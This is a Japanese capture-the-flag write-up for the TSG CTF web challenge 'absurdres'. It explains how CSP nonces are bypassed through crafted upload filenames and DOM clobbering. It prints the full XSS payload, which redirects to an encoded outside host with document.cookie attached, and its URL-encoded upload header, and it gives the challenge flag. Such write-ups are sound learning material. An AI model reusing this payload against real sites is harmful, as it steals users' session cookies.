Tags: web 

Rating:

CSP nonceで制限されているXSS問。
レスポンスに含まれている `![xxx](...)` が `` に変換されるフィルターが存在する。
アップロードしたファイルを閲覧する画面で、script内に `![...](...)` を埋め込むことでエラーを出さないようにパズルをしながら関数を実行する。

```html
<script nonce="{{csp_nonce()}}">
const files = {{files|json|safe}};
```

その他、パズルに必要な要素がいっぱい出てくるがざっと列挙してみるとこんな感じ。

- script内に埋め込めるものとしては画像ファイルのファイル名とその拡張子
- ファイル名部分に使える文字はアルファベットのみなので、 `![]().png` のようなファイル名はエラーとなるが、 `/` の前と `.` と `.` の間はなんでもOK `XXXX/FILENAME.XXXX.XXXX` の `XXXX` の部分にペイロード突っ込めるのでまあまあ自由度はある
- ガチャガチャやってると最後に `/assets/images/FILENAME.x2.png` がJavaScriptとして評価されるので邪魔してくる。DOM Clobberingでこれがエラーとならないように対策する。
- アップロードファイルの拡張子がpngやjpgでないとPILによって怒られるため、拡張子に攻撃ペイロードを埋め込むことはできなさそうに見えるが、PILに怒られる前にDBにはレコードが登録されているので画像の閲覧画面には遷移できる。アップロードしたファイルのIDはコンテンツのmd5なので推測可能。

最終的に以下のファイル名のファイルを作ると動作する。

```
testx.)bbb![//test.](.png}];""; id=assets ; name=images `;"<form id=test>${location=(atob('Ly9tb2Nvcy5raXRjaGVuOjEyMzQ1Lw')+document['cookie'])}<input id=x2>";
```

ファイル名に `"` とか入っているが、 `filename*=utf-8''[URL encoded filename]` でOK

```
Content-Disposition: form-data; name="image"; filename*=utf-8''testx.%29bbb!%5b%2f%2ftest.%5d%28.png%7d%5d%3b%22%22%3b%20id%3dassets%20%3b%20name%3dimages%20%60%3b%22%3cform%20id%3dtest%3e%24%7blocation%3d%28atob%28%27Ly9tb2Nvcy5raXRjaGVuOjEyMzQ1Lw%27%29%2bdocument%5b%27cookie%27%5d%29%7d%3cinput%20id%3dx2%3e%22%3b
Content-Type: image/png
```

FLAG: `TSGCTF{1girl, hacker, in front of computer, hooded, in dark room, table, sitting, keyboard, 8k wallpaper, highly detailed, absurdres}`

`navigator.sendBeacon(...)` でFLAGをleakさせようとしていたのだけど、なぜか手元のChromeでは動作してAdmin botではうまく行かなかった...
普通に `location=...` でFLAG飛ばせば動作した。
終了直前に取り組んだため、手元に環境を用意する暇もなく、もっと早く取り組んでおけばと反省した問題。

Original writeup (https://blog.tyage.net/post/2023/2023-11-09/#absurdres).